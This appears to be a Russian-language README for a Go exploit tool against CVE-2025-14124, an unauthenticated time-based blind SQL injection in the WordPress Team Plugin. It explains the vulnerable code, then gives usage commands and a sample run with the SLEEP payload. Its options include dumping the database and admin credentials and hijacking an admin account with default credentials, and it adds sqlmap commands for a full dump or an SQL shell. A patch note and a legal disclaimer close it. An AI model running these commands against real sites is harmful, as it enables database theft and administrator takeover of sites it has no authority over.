
Неаутентифицированная SQL-инъекция (слепая на основе времени)
| Поле | Значение |
|---|
| CVE ID | CVE-2025-14124 |
| Плагин | WordPress Team Plugin |
| Затронутые версии | < 5.0.11 |
| Тип уязвимости | Неаутентифицированная SQL-инъекция (Time-Based Blind) |
| Серьезность | Высокая |
Плагин WordPress Team Plugin не обрабатывает должным образом экранирование параметра search перед его использованием в SQL-запросе через AJAX-действие, доступное неаутентифицированным пользователям, что приводит к SQL-инъекции.
Уязвимый код находится в app/Controllers/Frontend/Ajax/LoadMore.php:
// Строка 221 - Пользовательский ввод санирован, но НЕ экранирован для SQL
$sAction = sanitize_text_field( wp_unslash( $_REQUEST['search'] ) );
// Строки 437-438 - УЯЗВИМО: Прямая конкатенация SQL
function tlp_team_search_where( $where ) {
global $wpdb;
$term = $wpdb->esc_like( $this->s['s'] ); // ⚠️ esc_like экранирует только %, _, \
$where .= "OR ({$wpdb->posts}.post_title LIKE '%{$term}%' ...)"; // ⚠️ SQLi!
}
Проблема: $wpdb->esc_like() экранирует только подстановочные знаки LIKE, но НЕ метасимволы SQL-инъекций.
flowchart TD
A["Злоумышленник находит страницу с шорткодом [tlpteam]"] --> B["Извлекает tlp_nonce и data-sc-id"]
B --> C["POST на /wp-admin/admin-ajax.php"]
C --> D["action=ttp_Layout_Ajax_Action<br/>search=SQL_PAYLOAD"]
D --> E{"Nonce действителен?"}
E -->|Да| F["SQL-запрос выполняется с нагрузкой"]
F --> G["Обнаружение на основе времени через SLEEP()"]
style F fill:#ff6b6b,stroke:#c92a2a,color:#fff
style G fill:#51cf66,stroke:#2f9e44,color:#fff[tlpteam]go build -o CVE-2025-14124.exe main.go
.\CVE-2025-14124.exe -u http://target.com
.\CVE-2025-14124.exe -u http://target.com --page-url http://target.com/our-team/
.\CVE-2025-14124.exe -u http://target.com --check-only
.\CVE-2025-14124.exe -u http://target.com --delay 5
| Аргумент | Описание |
|---|---|
-u | URL целевого WordPress (обязательно) |
--page-url | URL страницы, содержащей шорткод tlpteam |
--delay | Секунд SLEEP для обнаружения (по умолчанию: 1) |
--dump | Извлечь информацию о БД и учетные данные администратора WordPress |
--create-admin | Попытаться перехватить учетную запись администратора (требуются stacked queries) |
--admin-user | Имя пользователя для перехвата администратора (по умолчанию: pwned_admin) |
--admin-pass | Пароль для перехвата администратора (по умолчанию: Pwned123!) |
--check-only | Только проверить, активен ли плагин |
--timeout | Таймаут запроса в секундах (по умолчанию: 120) |
--dump)При использовании --dump инструмент извлечет:
Примечание: Извлечение данных медленное из-за характера time-based blind SQL-инъекции (~5-15 минут для полного извлечения).
--create-admin)Пытается изменить существующий пароль администратора через SQL UPDATE.
⚠️ Важно: Этот режим требует поддержки stacked queries, которая обычно отключена в PHP+MySQL. Если stacked queries не поддерживаются, используйте
--dumpдля извлечения учетных данных илиsqlmap --sql-shellдля прямого выполнения UPDATE.
>> [ ONLINE ]
╔═══════════════════════════════════════════════════════════════════════════════════════╗
║ CVE-2025-14124 - WordPress Team Plugin SQL Injection ║
║ Затронутые: tlp-team < 5.0.11 ║
║ Автор: Hyun Chiya ║
╚═══════════════════════════════════════════════════════════════════════════════════════╝
>> [ ИНФОРМАЦИЯ ]
[*] Проверка, активен ли WordPress Team Plugin...
[+] Плагин обнаружен: /wp-content/plugins/tlp-team/readme.txt
[+] Плагин обнаружен!
[*] Поиск страницы с шорткодом tlpteam...
[+] Найдена страница команды: http://target.com/our-team/
[+] Целевая страница: http://target.com/our-team/
[+] Извлечен nonce: abc123def456
[+] Извлечен scID: 42
============================================================
[*] ЭКСПЛУАТАЦИЯ: Time-Based Blind SQL Injection
============================================================
[*] Нагрузка: t' OR SLEEP(3) OR 't'='t
[*] Ожидаемая задержка: ~9 секунд (SLEEP выполняется 3 раза)
[*] Отправка вредоносного запроса...
[*] Время ответа: 9.23 секунды
[+] SQL-ИНЪЕКЦИЯ ПОДТВЕРЖДЕНА!
[+] Задержка ответа ~9 секунд (ожидалось: 9)
[!] Цель уязвима для Time-Based Blind SQL Injection
[!] Базу данных можно извлечь с помощью таких инструментов, как sqlmap
[*] Готово.
Для продвинутой эксплуатации вы можете использовать sqlmap после подтверждения уязвимости:
# Извлечение базы данных
sqlmap -u "http://target.com/wp-admin/admin-ajax.php" \
--data="action=ttp_Layout_Ajax_Action&scID=32&tlp_nonce=NONCE&search=test" \
-p search --dbms=mysql --technique=T --batch --dump
# SQL Shell (для UPDATE запросов)
sqlmap -u "http://target.com/wp-admin/admin-ajax.php" \
--data="action=ttp_Layout_Ajax_Action&scID=32&tlp_nonce=NONCE&search=test" \
-p search --dbms=mysql --technique=T --sql-shell
⚠️ ВАЖНО: Обновите WordPress Team Plugin до версии 5.0.11 или новее, где уязвимость исправлена с помощью правильного экранирования SQL с использованием
$wpdb->prepare().
Этот инструмент предоставляется только для образовательных целей и авторизованного тестирования безопасности. Несанкционированный доступ к компьютерным системам незаконен. Используйте ответственно.
Hyun Chiya